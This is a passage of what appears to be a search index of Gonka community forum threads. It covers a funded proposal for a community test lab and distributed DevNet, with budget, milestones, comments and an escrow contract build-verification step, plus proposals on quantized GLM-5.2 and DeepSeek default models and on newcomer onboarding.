for probes emitted while an R_req awaits verdict, so a legitimate heartbeat doesn't count as withholding from H_{i+1}. (iv) Whether observed_height fields are strictly required on MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip for verifier determinism, or whether V's own height_at[·] stamps suffice in practice — i.e. is C14's closure structurally in the wire format or operationally via heartbeats on top of today's messages.W_seal. Default proposed at ≈ 2 mainnet blocks (matching timeout_skip_gossip). Needs to be tuned against (i) realistic MsgConfirmStart arrival latency after a CarrySkip, (ii) how long verifiers can reasonably buffer pending_verdicts entries in the provisional state, (iii) whether settlement-layer slashing for post-seal confirm-then-skip contradictions is strong enough to treat the seal closure as a true bound. If not, consider extending W_seal or allowing a bounded number of post-seal flips recorded as \"late evidence\" rather than verdict changes.MsgConfirmStart when CarrySkip(payload_kind = skip_response) for the same inference_id already exists in Diff (and vice versa) is a MUST or a SHOULD. MUST simplifies verdict reasoning (step 2 scan becomes a residual safety net for the race window only) but creates a harder dependency on every ingest pipeline behaving identically; SHOULD keeps the predicate as the sole source of truth but leaves the ingest rule as an opportunistic optimization. Tie-break also affects how implementations handle a genuine race in which both messages are valid at their own arrival times.H(V) as a black-box oracle.Invalid verdicts, decides inclusion in finalization bundles.🔄 Auto-sync: from Discussion #1388 every hour.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#external-test-lab-community-devnet", "title": "External Test Lab & Community DevNet", "text": "Автор: @paranjko · Категория: Proposals · Создано: 2026-07-02 22:04 UTC · Обновлено: 2026-07-25 04:55 UTC
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#external-test-lab-community-devnet_1", "title": "External Test Lab & Community DevNet", "text": "4-month pilot proposal for community-owned testing infrastructure and QA capacity
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#1-executive-summary", "title": "1. Executive Summary", "text": "This proposal requests funding for a 4-month pilot of External Test Lab & Community DevNet: a community-owned testing function for Gonka protocol upgrades, DevShards, inference flows, host/broker operations, and geographically distributed network behavior before governance decisions and production rollout.
Item Proposal Pilot duration 4 months Requested budget Up to 22,000 USDT per month, plus a one-time 80,000 GNK end-of-pilot recognition payment. Funding model Monthly tranches: Month 1 prepaid, Months 2–4 released after previous-month deliverables are accepted Main deliverables Community DevNet, external testing team, public reports, test plans, runbooks and issue tracker Ownership Community-owned infrastructure and open operational artifacts, with clear handoff plan Security handling Public-by-default reporting, with private disclosure for security-sensitive findings before remediation"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#2-problem-statement", "title": "2. Problem Statement", "text": "Today, Gonka lacks a dedicated community-owned validation layer for important network changes. The External Test Lab and Community DevNet are proposed to close this gap by providing practical testing capacity, shared infrastructure, and public evidence before releases, governance decisions, or production rollout.
The External Test Lab and Community DevNet will:
Validate protocol upgrades, DevShard releases, broker/inference flows, integrations, and other critical network changes before they move forward.
Test distributed-network behavior that is hard to verify in local or internal environments, including latency, synchronization, propagation, and regional instability.
Use available testing capacity for proactive bug hunting, regression checks, and investigation of known weak points when no release candidate is waiting for validation.
Provide a neutral testing path for work delivered by external teams and ecosystem contributors before it is accepted, funded further, or used in production.
Help validate vulnerability reports from researchers, audits, or programs such as HackerOne through reproduction, impact assessment, regression testing, and confirmation after remediation.
Provide a shared environment where trusted hosts and teams can safely test proposals, integrations, DevShard scenarios, protocol behavior, and early implementation ideas.
Produce clearer testing evidence for governance participants, including test plans, dashboards, runbooks, issue trackers, defect reports, security-sensitive disclosure handling, and release-readiness summaries.
This adds a missing validation layer for the Gonka ecosystem while complementing Core Team testing.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#3-roadmap-alignment", "title": "3. Roadmap Alignment", "text": "This proposal directly implements two projects from the Gonka Network Development Roadmap.
Track 4. Network reliability and observability — Project 2. External testing lab The roadmap defines an external testing lab for Gonka changes before broad rollout, including changes from Protocol Maintainers, funded external teams, and ecosystem contributors.
This proposal implements that project through the External Testing Team, test plans, smoke and regression checks, defect reports, public issue tracking, and release-readiness reports.
Track 7. Public sandbox and consumer-GPU testnet — Project 1. Public testing sandbox The roadmap defines a separate test environment for experiments with models, parameters, integrations, DevShard scenarios, protocol-level behavior, validation, settlement, and upgrade testing before mainnet.
This proposal implements that project through Community DevNet: a small, always-on, geographically distributed network for protocol, node, DevShard, operational, integration, and distributed-behavior testing.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#4-what-we-are-building", "title": "4. What We Are Building", "text": "The project has three connected components.
Component Purpose Main output Community DevNet Small always-on geographically distributed network for protocol, node, DevShard, and operational testing. 9–13 inference nodes, monitoring dashboard, deployment runbook Burst GPU Testing Budget Temporary rental of large GPU infrastructure when heavy model or load testing is needed. Monthly rental allowance, test logs, benchmarks, and cost report External Testing Team Two hands-on QA / infrastructure testing engineers to validate pre-release builds, DevShards, and deliverables from external teams. Test plans, smoke/regression checks, defect reports, readiness reports"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#5-community-devnet-infrastructure", "title": "5. Community DevNet Infrastructure", "text": "Target size: 9–13 always-on inference machines plus required network nodes, where feasible within the monthly DevNet infrastructure cap.
Topology: part of the DevNet runs as Network Nodes with multiple attached MLNodes, so that realistic multi-MLNode host configurations can be reproduced and tested.
Indicative distribution: North America East, North America West, United Kingdom, Germany, France, Finland, and Asian locations depending on network quality and hosting availability.
Model profile: DevNet inference nodes are expected to run lightweight instruct models, such as Qwen/Qwen3-0.6B, or equivalent models.
Inference nodes: NVIDIA GPU machines with 16 GB VRAM, compatible with the project’s CUDA 13.0 container/runtime stack.
Goal: protocol and distributed behavior testing.
Monitoring: public dashboard for node availability.
Operations: infrastructure lead from the host/DevOps community responsible for provisioning, monitoring, and maintenance.
Public access. The DevNet is intended to serve the broader community, not only the testing team. During the pilot, access for external participants is granted through a lightweight request process — primarily to manage abuse, access control, and node stability while monitoring and onboarding documentation are still being built. Intended external use cases include:
hosts rehearsing onboarding and node operations before joining mainnet;
developers and users experimenting with inference, smart contracts, and integrations outside the QA team's test plan.
Broader participation is the target state: we intend to move to fully permissionless access as soon as safety, abuse limits, onboarding documentation, and monitoring allow it.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#6-burst-gpu-testing-budget", "title": "6. Burst GPU Testing Budget", "text": "Used only when needed for release candidates, large model tests, load tests, and model compatibility checks.
Planning assumption: Up to one calendar week (168 hours) of rental per month.
For Kimi-class testing, the requirement estimate assumes an ML Node with either 4× NVIDIA B200 or 8× NVIDIA H200, around 640 GB total GPU VRAM, 960 GB+ system RAM, 16-core amd64 CPU, and a Network Node host with 16-core CPU, 64 GB+ RAM, 1 TB NVMe, and at least 100 Mbps networking.
Access and accountability. Burst GPU capacity is provisioned and coordinated by the External Testing Team together with the project owners, primarily for release-candidate validation, model compatibility, and load tests. Requests from Protocol Maintainers and ecosystem teams are accommodated where capacity allows. All burst usage is itemized in the monthly public report: purpose, hours used, and cost per test run, with test logs published alongside.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#7-external-testing-team", "title": "7. External Testing Team", "text": "The proposal funds two external QA / Infrastructure Testing Engineers.
Scope of work
Contribute to quality standards and test strategy for the network
Define acceptance criteria and test plans for core network lifecycle events and components
Build pre-release validation frameworks, including smoke checks and regression coverage for known failure patterns
Deploy and verify distributed node and service stacks in production-like environments
Validate critical cross-system flows end to end, with documented evidence and clear defect escalation — e.g. participant and key flows, inference and proof-of-compute participation, gateway and proxy behavior
Use health signals, chain queries, and logs as primary validation inputs, not just debugging aids
Verify upgrade readiness, rollback feasibility, and post-change health across the stack
Establish, tune, and document practical operational primitives, such as PoC validation threshold and inference validation threshold settings, based on DevNet experience, and contribute these findings directly to the official Gonka documentation where appropriate.
Support DevNet validation and release-readiness assessment before production rollouts
Validate recovery and incident resolution through root-cause analysis and re-testing
Report defects with clear reproduction steps, impact assessment, and release-blocking status
Track and communicate quality metrics that reflect network health and operational reliability
Required capabilities
3+ years in system QA / Test Engineering, SDET, or quality-focused DevOps/SRE
Understanding of blockchain lifecycle, key and auth flows: registration, delegated permissions, fee grants
Experience in operation and validation of blockchain nodes (Cosmos SDK preferred): sync, recovery, RPC queries, network phase behavior
Experience validating distributed systems in production-like environments
Strong test design: test plans, acceptance criteria, smoke/regression/e2e, edge cases, negative testing
Solid Linux, SSH, shell scripting, and log-based verification
Docker & container orchestration - including environment and config reload behavior
Clear defect reporting and documentation — runbooks, test results, sign-off checklists
Comfort with time-boxed validation before critical network events
SDET experience: scripted validation, CI pipelines, automated health checks
Blockchain / Web3 QA: testnet operations, bridge testing, wallet/key flows, upgrade regression
Cross-chain testing: EVM testnet validation, withdrawal flows, contract interaction
GPU/ML inference testing: worker health, model serving, artifact delivery
Experience with coordinated multi-node upgrades
API gateway and proxy testing (failures, latency, request tracing)
Decentralized inference or Proof of Compute networks
Public dashboard for DevNet health and node status.
Public task board for planned, active, and completed testing work.
Public issue tracker for non-sensitive bugs, regressions, and operational findings.
Monthly public report with deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan.
Per-release readiness report before governance vote or production rollout when a release candidate is provided in time.
Security-sensitive findings are reported privately to Core Team first; a public placeholder issue is created where appropriate, and details are disclosed after remediation or agreed disclosure window.
The External Test Lab is intended to work in coordination with Protocol Maintainers while remaining an external community testing function.
Protocol Maintainers are expected to support initial onboarding by providing technical context, relevant documentation, general guidance, scripts and notes, expected test focus, and clarification of protocol-specific behavior where needed.
This coordination helps the testing team become productive faster and reduces the risk of misinterpreting expected network behavior. At the same time, validation reports remain independently prepared by the External Test Lab and are published for the community.
Where a governance vote or production rollout is scheduled and testable artifacts are provided in time, the External Test Lab publishes a readiness report covering tested areas, pass/fail results, known risks, and recommendations.
If testable artifacts are provided late or incomplete, the External Test Lab may still perform limited validation, but the report will clearly state the reduced scope, time constraints, and known limitations.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#12-milestones-and-acceptance-criteria", "title": "12. Milestones and Acceptance Criteria", "text": ""}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#workstream-a-devnet-infrastructure", "title": "Workstream A: DevNet Infrastructure", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Setup Month 1 DevNet design agreed, infrastructure procurement started, at least 5 nodes online; infrastructure blockers documented if any. DevNet architecture note; initial status dashboard (live link); draft node deployment runbook. Month 2 funding requires M1 report and acceptance. M2: Full DevNet operational Month 2 At least 9 nodes online across target regions; monitoring in place. Published node deployment runbook sufficient to reproduce a DevNet node; public dashboard showing all nodes; regional layout summary. Month 3 funding requires M2 report and acceptance. M3: Stable DevNet operation Month 3 DevNet running stably; operational issues identified and addressed. Updated runbook; incident log for the month; onboarding guide for external DevNet participants, interim infrastructure cost report. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Pilot infrastructure work concluded; continuation or handoff recommendation prepared. Final infrastructure and cost report; lessons learned; handoff package. No automatic continuation; new vote required."}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#workstream-b-external-testing-lab", "title": "Workstream B: External Testing Lab", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Testing lab setup and QA onboarding Month 1 QA contractors search and selection, onboarding plan, testing lab operating model, initial test strategy. Initial test strategy document; hiring status in the monthly report. Month 2 funding requires M1 report and acceptance. M2: Testing capability launch Month 2 At least one QA engineer onboarded and executing tests; second onboarded or in final hiring stage. Public task board (live link); public catalogue of test scenarios: smoke checklist and regression checklist; live issue tracker. Month 3 funding requires M2 report and acceptance. M3: Repeated validation and process stabilization Month 3 Repeatable validation process in place; validation performed where testable inputs were provided. Open repository with initial test automation scripts (smoke-level checks); updated checklists; validation or status reports for the month. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Validation work concluded; lab processes documented for handoff. Final validation reports; defect summary; lessons learned. No automatic continuation; new vote required."}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#13-kpis", "title": "13. KPIs", "text": "KPI Target Verification method DevNet availability ≥95% monthly availability for stable nodes after full deployment Public dashboard and monthly uptime summary Release validation coverage 100% of provided release candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public release-readiness reports DevShard validation coverage 100% of provided DevShard candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public DevShard reports Public reporting Monthly public report covering deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan. Public document Issue quality All defects include reproduction steps, expected vs actual behavior, impact, and severity Public issue tracker / private security tracker where needed Handoff readiness Runbooks and lessons learned documented by end of pilot Published operational documentation"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#14-budget-estimate", "title": "14. Budget Estimate", "text": "This is a planning estimate for a 4-month pilot. Unused burst GPU rental budget may roll over within the pilot; any unused funds at the end of the pilot will be returned to the Community Pool.
Budget line Assumption Monthly estimate 4-month estimate Notes Community DevNet machines * 9–13 inference nodes plus required Network Node services capped at \\$5,000/month as a blended planning average. \\$20,000 GPU-class node, CPU/RAM/storage/network/region premium included as planning average. Burst GPU rental ** Up to one calendar week (168 hours) per month of high-end GPU capacity capped at \\$6,500/month \\$26,000 For H200/B200-class testing, load tests, model compatibility, release candidates. Operational tooling and reporting services Shared monitoring and operational tools \\$250 \\$1,000 Domains/DNS, lightweight monitoring, uptime checks, reporting tools, access management, and small cloud services where needed. External Testing Engineers 2 QA engineers × \\$4,000/month \\$8,000 \\$32,000 Hands-on QA / infrastructure testing, reports, defect tracking. Subtotal \\$19,750 \\$79,000 Contingency reserve \\$2,250 \\$9,000 Used only if needed. Total requested authorization 22,000 USDT 88,000 USDT Cap for 4-month pilot.Any unused funds will be returned to the Community Pool at the end of the pilot.
* The cap above raw GPU-hour pricing covers reserved or non-interruptible instances required for always-on operation, regional price premiums outside low-cost US marketplaces, CPU-only Network Node hosts for the multi-MLNode topology, storage and egress, and temporary node duplication during upgrade and failover testing. It is a cap, not a spend target: actual spending will be itemized monthly, and unused funds will be returned to the Community Pool at the end of the pilot.
** Nebius listed B200 on-demand pricing at \\$7.15/GPU-hour and H200 on-demand pricing at \\$4.50/GPU-hour (June 2026). At these on-demand rates, 4× B200 for 168 hours would cost approximately \\$4.8k, while 8× H200 for 168 hours would cost approximately \\$6.05k.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#15-payment-schedule", "title": "15. Payment Schedule", "text": "Tranche Amount Timing Condition Tranche 1 22,000 USDT At pilot start Prepaid to secure machines, tooling, and people for Month 1. Tranche 2 22,000 USDT After Month 1 report Released after M1 deliverables and public spending report. Tranche 3 22,000 USDT After Month 2 report Released after M2 deliverables and public spending report. Tranche 4 22,000 USDT After Month 3 report Released after M3 deliverables and public spending report. Continuation TBD After Month 4 Requires a new proposal or explicit governance decision."}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#16-end-of-pilot-gnk-recognition", "title": "16. End-of-pilot GNK recognition", "text": "The Project Lead and Infrastructure Lead receive no monthly compensation from the pilot budget: all USDT tranches fund infrastructure, tooling, and the External Testing Engineers. Leadership work is recognized only through the one-time GNK allocation below, paid after pilot completion and final report acceptance.
Role Amount Timing Notes Project Lead 40,000 GNK After pilot completion and final report acceptance Overall project accountability, governance coordination, scope and milestone control, QA contractor selection and onboarding, public reporting, and testing laboratory oversight. Infrastructure Lead / DevOps operations 40,000 GNK After pilot completion and final report acceptance Provisioning, monitoring, maintenance, region selection, cost control."}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#17-open-source-ownership-and-handoff", "title": "17. Open Source, Ownership and Handoff", "text": "All non-sensitive documentation, test plans, runbooks, dashboards, issue templates, and reports will be public by default.
Where code or scripts are created, they will be published under an open-source license compatible with Gonka ecosystem norms unless there is a clear security reason not to.
Infrastructure access will not depend on a single individual. The owner model, emergency access process, and handoff procedure will be documented.
At the end of the pilot, a community-approved team should be able to take over the DevNet and External Testing Lab using the published runbooks, documentation, and access handoff process.
Approve a 4-month pilot of External Test Lab & Community DevNet with a maximum budget authorization of 88,000 USDT, paid in four monthly tranches of up to 22,000 USDT each, and 80,000 GNK paid after pilot completion and final report acceptance.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#5", "title": "💬 Комментарии (5)", "text": ""}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#1-gmorgachev", "title": "Комментарий 1 — @gmorgachev", "text": "2026-07-07 01:02 UTC
Hi! Thanks for proposal. A couple thoughts:
Qwen/Qwen3-4B-Instruct-2507, Qwen/Qwen2.5-7B-Instruct,
I'd probably go with https://huggingface.co/Qwen/Qwen3-0.6B on early phase. For testnet with small models, it doesn't really matter if model is 0.6B or 7B. So when it's testnet with small models, any model/GPUs should be good. I'd suggest to go with cheapest possible GPUs
Inference nodes: NVIDIA GPU machines with 24 GB VRAM, compatible with the project’s CUDA 13.0 container/runtime stack.
Based on previous comment, requirements can be lowered. More small GPUs is better that few bigger ones to simulate mainnet
Target size: 9–11 always-on inference machines.
I'd include Network Nodes with multiple MLNodes
Runbooks and lessons learned documented by end of pilot
I'd say test team also will have to play with such primitives as setting up PoC validation threshold and inference validation threshold. Would be useful to contribute directly in documentation too
Who will have access to this resources? Only testing team? I'd clarify how full size servers are used
Public dashboard for DevNet health and node status.
I think some agreements with current dashboard maintainers would required? Or which dashboards would be used?
Will such testnet be publicly available? E.g. can some host experiment with joining testnet before joining mainnet?
Will users not from QA team be able to experiment with inference, smart contracts, etc. ?
From my perspective the idea overall is good and should be quite helpful. I'd try to clarify the public access (i think it's better to make it fully permissionless)
↳ Ответ от @paranjko · 2026-07-07 03:33 UTC
Thanks Gleb, these are very helpful points.
I agree, we'll start with Qwen3-0.6B or a similar model and lower the GPU requirements accordingly. Since the point of the DevNet is to simulate distributed behavior rather than throughput, I'd rather use the cost savings to run a larger number of smaller nodes. I've also lowered the DevNet infrastructure cap.
Good point on Network Nodes with multiple MLNodes as well. I will clarify the intended topology.
On thresholds and documentation: agreed as well. The testing team should not only validate releases, but also document practical operational primitives such as PoC validation threshold, inference validation threshold, and lessons learned. This should become part of the public runbooks, and where it makes sense we'll contribute these findings directly to the official Gonka documentation.
For burst GPU resources, I’ll clarify access and usage. My current thinking is that access should be coordinated by the testing team / project owners during the pilot, mainly for release candidates and model tests, with usage and costs reported publicly.
For dashboards, I hadn’t thought about it that way, but it is an interesting point and may save some time and funds. We will contact the current dashboard maintainers to see if they can help. If not, we will use a dedicated Grafana-style dashboard for DevNet health and node status as planned.
On public access: yes, host onboarding rehearsal before mainnet is one of the intended DevNet use cases, and non-QA users experimenting with inference and smart contracts is the direction we want. During the pilot, I would gate this through a lightweight request process, mainly to manage abuse, access, and node stability while monitoring and onboarding docs are still being built. Broader participation is the target state, and I want to get to fully permissionless access as soon as safety, abuse limits, onboarding docs, and monitoring allow it. I just don't want to promise a specific date within the pilot yet.
I've updated the proposal to reflect these points.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#2-akamitch", "title": "Комментарий 2 — @akamitch", "text": "2026-07-07 04:15 UTC
Sure, we should use multinode setup, some network nodes will be on CPU only servers, some full nodes.
I believe that:
This devnet should be public from the start. So that anyone can connect their node without asking anyone. It makes the conditions more realistic, and moreover, it costs us nothing.
Burst GPU resources can be allocated to developers from the core team, as well as to teams that already have rewards for commits to the protocol — first and foremost, the maintainers of https://registry.kaitaku.ai/ (Though of course we're limited by the budget here.)
↳ Ответ от @paranjko · 2026-07-07 05:27 UTC
Ah, yes, if we mean hosts connecting their own machines to the DevNet, then absolutely, that should be welcome from the start. I was thinking more about controlled access to project-managed resources, where cost, abuse, or stability risks are involved.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#3-paranjko", "title": "Комментарий 3 — @paranjko", "text": "2026-07-07 23:01 UTC
Escrow contract is on chain
94b141625b7641e6ad57266420b18a4af72eac49b8110cb92719755590b463bdgonka1g57f45qjvn0529vpgj8x8mzt8r5k4audchm3pp9pezywxwf4rexqlj8aywThe contract holds 88,000 USDT + 80,000 GNK and pays them out on the fixed schedule from this proposal. No admin, no migration: recipients and amounts can never change. Governance keeps one lever: a one-time clawback that returns all remaining funds to the Community Pool, available at any moment; every tranche unlocks with a 4-day buffer so a 2-day vote always fits before the next payout.
Verify (needs docker):
git clone https://github.com/paranjko/testlab-devnet-escrow && cd testlab-devnet-escrow\n./build.sh && sha256sum artifacts/milestone_escrow.wasm\n# must match: inferenced query wasm code-info 107\n2026-07-10 13:21 UTC
Proposal #82 — External Test Lab & Community DevNet has passed.
We’re now starting Month 1: arranging hardware rentals, bringing the initial nodes online, and beginning the search and hiring process for the QA team. We’ll use this thread to share progress.
Thank you to everyone who reviewed the proposal and voted.
The first report will be published around August 9, four days before the next unlock.
"}, {"location": "community/discussion/proposals/1388-external-test-lab-community-devnet/#5-bitcompool", "title": "Комментарий 5 — @bitcompool", "text": "2026-07-25 04:55 UTC
Hi, I’m based in Dubai and would be happy to support the project locally if a UAE or MENA location becomes useful for future testing or infrastructure deployment.
I have also previously worked on the CoolTank project, a two-phase immersion cooling concept originally developed for cryptocurrency mining and operation in hot environments. The same underlying approach may potentially be adaptable to high-density GPU server infrastructure, subject to proper engineering validation and hardware compatibility checks.
This is probably not relevant for the lightweight Community DevNet nodes, but it could be worth discussing for future high-density Gonka Host deployments or H200/B200-class infrastructure in the MENA region.
Project overview: https://www.thecooltank.com/
Happy to discuss if this is relevant to the project roadmap.
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/", "title": "#1404 — Add a lower-barrier GLM-5.2 option and consider DeepSeek-V4-Flash as the default model", "text": "🔄 Auto-sync: from Discussion #1404 every hour.
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/#add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-flash-as-the-default-model", "title": "Add a lower-barrier GLM-5.2 option and consider DeepSeek-V4-Flash as the default model", "text": "Автор: @enonog · Категория: Proposals · Создано: 2026-07-05 23:32 UTC · Обновлено: 2026-07-16 04:40 UTC
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/#_1", "title": "📝 Описание", "text": "At the moment, the network has very limited active capacity for GLM-5.2. Most hosts are concentrated on MiniMaxAI/MiniMax-M2.7, while only a smaller number are serving Kimi-K2.6, and GLM-5.2 host adoption is still very low.
The current official GLM-5.2 model is zai-org/GLM-5.2-FP8, but its resource requirements are high. This makes it harder for more hosts to choose GLM-5.2, even though GLM-5.2 is one of the most attractive open models for coding, long-context tasks, tool usage, and Chinese/English developer workloads.
I suggest evaluating one of the following two GLM-5.2 quantized models:
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/#option-a-canada-quantglm-52-w4a16-mtp", "title": "Option A:canada-quant/GLM-5.2-W4A16-MTP", "text": "https://huggingface.co/canada-quant/GLM-5.2-W4A16-MTP
Why it is interesting:
PhalaCloud/GLM-5.2-W4AFP8", "text": "https://huggingface.co/PhalaCloud/GLM-5.2-W4AFP8
Why it is interesting:
zai-org/GLM-5.2-FP8Important note: this model is currently tested with SGLang only, so vLLM compatibility should be evaluated separately if Gonka requires vLLM for MLNode integration.
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/#suggested-approach", "title": "Suggested approach", "text": "Do not replace the current GLM-5.2-FP8 immediately. A safer path would be:
The goal is to make GLM-5.2 more accessible to hosts and increase real GLM-5.2 availability on the network.
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/#proposal-2-consider-replacing-minimax-m27-as-the-default-model", "title": "Proposal 2: Consider replacing MiniMax-M2.7 as the default model", "text": "Currently, MiniMaxAI/MiniMax-M2.7 is the default model (initial_model_id). It is useful as a low-barrier operational model, but it does not seem strong enough as the main default model for attracting real inference demand.
I suggest evaluating:
https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash
as a possible replacement or successor for MiniMaxAI/MiniMax-M2.7 in the default / fallback model role.
Why DeepSeek-V4-Flash may be a better default candidate:
I think Gonka should separate the model strategy into two layers:
consider deepseek-ai/DeepSeek-V4-Flash instead of MiniMaxAI/MiniMax-M2.7
A more accessible GLM-5.2 option:
canada-quant/GLM-5.2-W4A16-MTP and PhalaCloud/GLM-5.2-W4AFP8This would help the network improve both sides of the market:
2026-07-06 11:35 UTC
https://huggingface.co/PhalaCloud/GLM-5.2-W4AFP8
This model looks especially interesting because it is not just smaller than the official FP8 release, but may also provide very strong practical serving performance. According to the model card, it is optimized for SGLang and can fit on a wider range of host setups while still preserving long-context capability.
In some real workloads, quantized models are not necessarily worse than the official FP8 version. Depending on the quantization method and serving stack, they can sometimes preserve quality very well, and in certain scenarios such as long-context reasoning, coding, instruction following, and agentic workloads, the practical user experience may even be better because of higher throughput and lower latency.
The only unclear point is vLLM compatibility. The PhalaCloud model card mainly documents SGLang usage, so it would need to be tested inside Gonka’s current inference stack. However, since SGLang and vLLM share many important production-serving capabilities, this model still seems worth evaluating.
"}, {"location": "community/discussion/proposals/1404-add-a-lower-barrier-glm-52-option-and-consider-deepseek-v4-f/#2-enonog", "title": "Комментарий 2 — @enonog", "text": "2026-07-16 04:40 UTC
"}, {"location": "community/discussion/proposals/1445-the-missing-first-mile-onboarding-gonka-from-a-newcomers-per/", "title": "#1445 — The missing first mile: onboarding Gonka from a newcomer’s perspective", "text": "🔄 Auto-sync: from Discussion #1445 every hour.
"}, {"location": "community/discussion/proposals/1445-the-missing-first-mile-onboarding-gonka-from-a-newcomers-per/#the-missing-first-mile-onboarding-gonka-from-a-newcomers-perspective", "title": "The missing first mile: onboarding Gonka from a newcomer’s perspective", "text": "Автор: @julb1992 · Категория: Proposals · Создано: 2026-07-12 20:31 UTC · Обновлено: 2026-07-25 11:59 UTC
"}, {"location": "community/discussion/proposals/1445-the-missing-first-mile-onboarding-gonka-from-a-newcomers-per/#_1", "title": "📝 Описание", "text": "Motivation
Over the past two weeks, I have spent a significant amount of time trying to understand Gonka as a non-technical newcomer.
I initially discovered Gonka through GNK. From there, I tried to understand the full economic and technical model: Hosts, GPU economics, PoC, collateral, vesting, GNK vs WGNK, bridging, HeX, NOP, gateways, brokers, devshards, and finally the fundamental role of Developers in the network economy.
The information exists. The documentation is extensive.
The problem I experienced was different: as a newcomer, I did not know which questions to ask, in which order, or which concepts I needed to understand first.
It took me almost two weeks of active research to build a clear mental model of Gonka.
I believe there may be a missing layer before the technical documentation: the “first mile.”
Gonka is naturally explained by people who already understand Gonka. Newcomers may need Gonka explained from the perspective of someone discovering it.
High-Level Solution
Build a very simple onboarding layer around three initial journeys:
I want to use AI
Gateway → API key → models → first inference.
I want to provide compute
Hardware requirements → Host economics → NOP → first PoC.
I want to understand GNK
GNK vs WGNK → wallet → bridge → collateral → vesting → liquidity.
The objective would not be to replace or rewrite Gonka’s technical documentation.
The objective would be to help a newcomer understand where to start and what to learn next, then route them to the existing documentation at the right moment.
Implementation Roadmap
At this stage, I am not submitting a funding request.
I would first propose to:
If the community recognises the problem, this could then become a small, measurable onboarding pilot.
Open Questions
Who I am
My name is Julien. I am based in France and work in investment and business management.
I am not a protocol engineer or an AI infrastructure specialist.
That is precisely the perspective behind this proposal.
I discovered Gonka as a potential participant, became deeply interested in its economic model, and spent the last two weeks actively trying to understand the network from first principles.
I am not proposing to explain Gonka better than its builders. I am proposing to document the questions newcomers ask before they understand what Gonka’s builders are explaining.
I would genuinely appreciate critical feedback before taking this idea any further.
"}, {"location": "community/discussion/proposals/1445-the-missing-first-mile-onboarding-gonka-from-a-newcomers-per/#2", "title": "💬 Комментарии (2)", "text": ""}, {"location": "community/discussion/proposals/1445-the-missing-first-mile-onboarding-gonka-from-a-newcomers-per/#1-sultee", "title": "Комментарий 1 — @sultee", "text": "2026-07-13 15:39 UTC
Hey Julien! Thank you so much for sharing your experience and ideas! I'd propose also bringing attention to this issue on Gonka community's Discord (not dropping links here, but you'll find it in the README)
"}, {"location": "community/discussion/proposals/1445-the-missing-first-mile-onboarding-gonka-from-a-newcomers-per/#2-tcharchian", "title": "Комментарий 2 — @tcharchian", "text": "2026-07-24 23:49 UTC
Hi @julb1992! Have a look at the recently updated https://gonka.ai/ website. Do you think it’s better now? By the way, the website documentation is hosted in a public repository https://github.com/gonka-ai/gonka-docs, so anyone can suggest changes by submitting a pull request.
↳ Ответ от @julb1992 · 2026-07-25 11:59 UTC
Thanks! I definitely think it’s a improvement.
It actually reinforces the point I was trying to make in my “missing first mile” post.
The documentation for developers keeps getting better, which is great.
But I still think there’s something missing for people who aren’t developers or GPU providers.
I’m coming at Gonka as an investor who’s trying to really understand the project, and honestly it has taken me weeks of reading GitHub, Discord, Medium posts and talking with people from the community before everything started to make sense. And even now, I still don’t feel like I’ve got the full picture.
I’m actually writing my own document just to understand the ecosystem properly, and I think it’s going to end up being a few dozen pages. That probably says a lot.
How everything fits together, how the network works, where the token fits in, the key metrics, and a few real-world use cases.
Developers need documentation. People discovering Gonka need the bigger picture.
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/", "title": "#1464 — Dev Team Funding", "text": "🔄 Auto-sync: from Discussion #1464 every hour.
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/#dev-team-funding", "title": "Dev Team Funding", "text": "Автор: @gmorgachev · Категория: Proposals · Создано: 2026-07-17 01:38 UTC · Обновлено: 2026-07-20 23:22 UTC
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/#_1", "title": "📝 Описание", "text": "Hello everyone! I am Gleb Morgachev, one of Gonka's co-creators.
